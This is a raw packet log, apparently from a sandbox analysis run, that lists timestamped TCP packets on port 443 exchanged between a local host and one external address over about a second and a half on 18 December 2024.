Dec 18, 2024 13:21:09.099647999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.099689960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.099698067 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.099716902 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.099734068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.105384111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.105413914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.105446100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.105453968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.105483055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.105500937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.112694025 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.112720013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.112776041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.112793922 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.112808943 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.113537073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.118678093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.118701935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.118737936 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.118746042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.118783951 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.125307083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.125332117 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.125480890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.125480890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.125508070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.130434036 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.255887032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.255914927 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.255990028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.256014109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.256052017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.256066084 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.278392076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.278424978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.278465986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.278474092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.278505087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.278520107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.285243988 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.285269022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.285342932 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.285350084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.285360098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.285444975 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.291970968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.291990995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.292052984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.292061090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.292125940 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.297979116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.298000097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.298058987 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.298067093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.298105955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.304687977 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.304704905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.304758072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.304765940 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.304825068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.311216116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.311233044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.311356068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.311369896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.312099934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.317889929 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.317909956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.317959070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.317965984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.318011045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.448097944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.448123932 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.448189974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.448219061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.448234081 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.448463917 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.470866919 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.470895052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.470969915 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.470987082 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.471056938 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.477546930 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.477562904 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.477622986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.477636099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.477646112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.477725029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.484409094 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.484426975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.484611988 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.484625101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.484663010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.490380049 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.490396976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.490470886 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.490483046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.490606070 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.497699022 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.497724056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.497790098 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.497806072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.497819901 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.498148918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.503622055 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.503640890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.503700972 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.503714085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.503736973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.503756046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.510576010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.510591984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.510647058 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.510660887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.510727882 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.640134096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.640165091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.640223980 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.640254021 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.640266895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.640295982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.663671017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.663718939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.663763046 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.663774014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.663800955 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.663820982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.669652939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.669713974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.669759035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.669768095 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.669811964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.676390886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.676414967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.676474094 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.676482916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.676546097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.683254004 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.683290958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.683331013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.683339119 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.683367014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.683384895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.689599991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.689630032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.689824104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.689832926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.689918995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.696482897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.696528912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.696582079 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.696589947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.696615934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.696638107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.702476978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.702523947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.702567101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.702574968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:09.702598095 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:09.702615976 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.063626051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063651085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063688993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063724041 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.063743114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063767910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.063780069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.063807011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063838959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063865900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.063873053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.063900948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.063921928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.064610958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.064629078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.064666986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.064673901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.064717054 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.065191031 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.065211058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.065243959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.065253019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.065284967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.065300941 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.065987110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.066003084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.066061020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.066070080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.066222906 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.066243887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.066276073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.066283941 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.066296101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.066323996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.067128897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.067146063 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.067199945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.067207098 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.067231894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.067255020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.068128109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.068144083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.068197966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.068206072 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.068264008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.069895983 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.069912910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.069976091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.069983006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.070023060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.070503950 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.070523024 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.070559025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.070564985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.070585966 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.070684910 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.070774078 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.070791006 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.070838928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.070846081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.071044922 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.071791887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.071824074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.071855068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.071860075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.071887016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.071906090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.072774887 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.072812080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.072844028 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.072849989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.072876930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.072901964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.074385881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.074417114 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.074456930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.074462891 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.074486017 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.074507952 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.081228018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.081258059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.081299067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.081305981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.081336021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.081356049 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.087173939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.087225914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.087248087 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.087255001 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.087320089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.216361046 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.216389894 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.216515064 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.216536045 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.216579914 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.242259026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.242286921 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.242340088 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.242366076 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.242382050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.242402077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.247152090 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.247173071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.247231960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.247243881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.247289896 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.252867937 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.252890110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.252968073 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.252980947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.253043890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.258750916 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.258771896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.258817911 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.258831978 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.258857012 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.258868933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.264884949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.264904976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.264956951 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.264971018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.265414953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.270282984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.270303011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.270342112 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.270350933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.270385027 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.279052019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.279069901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.279155970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.279155970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.279172897 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.279320002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.410476923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.410552979 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.410645008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.410667896 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.410834074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.410834074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.440725088 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.440795898 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.440823078 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.440844059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.440874100 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.440886021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.441164970 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.441217899 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.441235065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.441246033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.441257000 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.441279888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.444098949 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.444144011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.444159031 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.444169044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.444191933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.444202900 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.449279070 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.449297905 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.449371099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.449378967 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.449448109 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.455626011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.455641985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.455693960 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.455702066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.455828905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.461647987 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.461664915 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.461704016 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.461714029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.461741924 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.461761951 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.467701912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.467724085 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.467782974 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.467791080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:10.467820883 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.467839003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:10.602399111 CET	443	49723	118.107.29.172	192.168.2.10
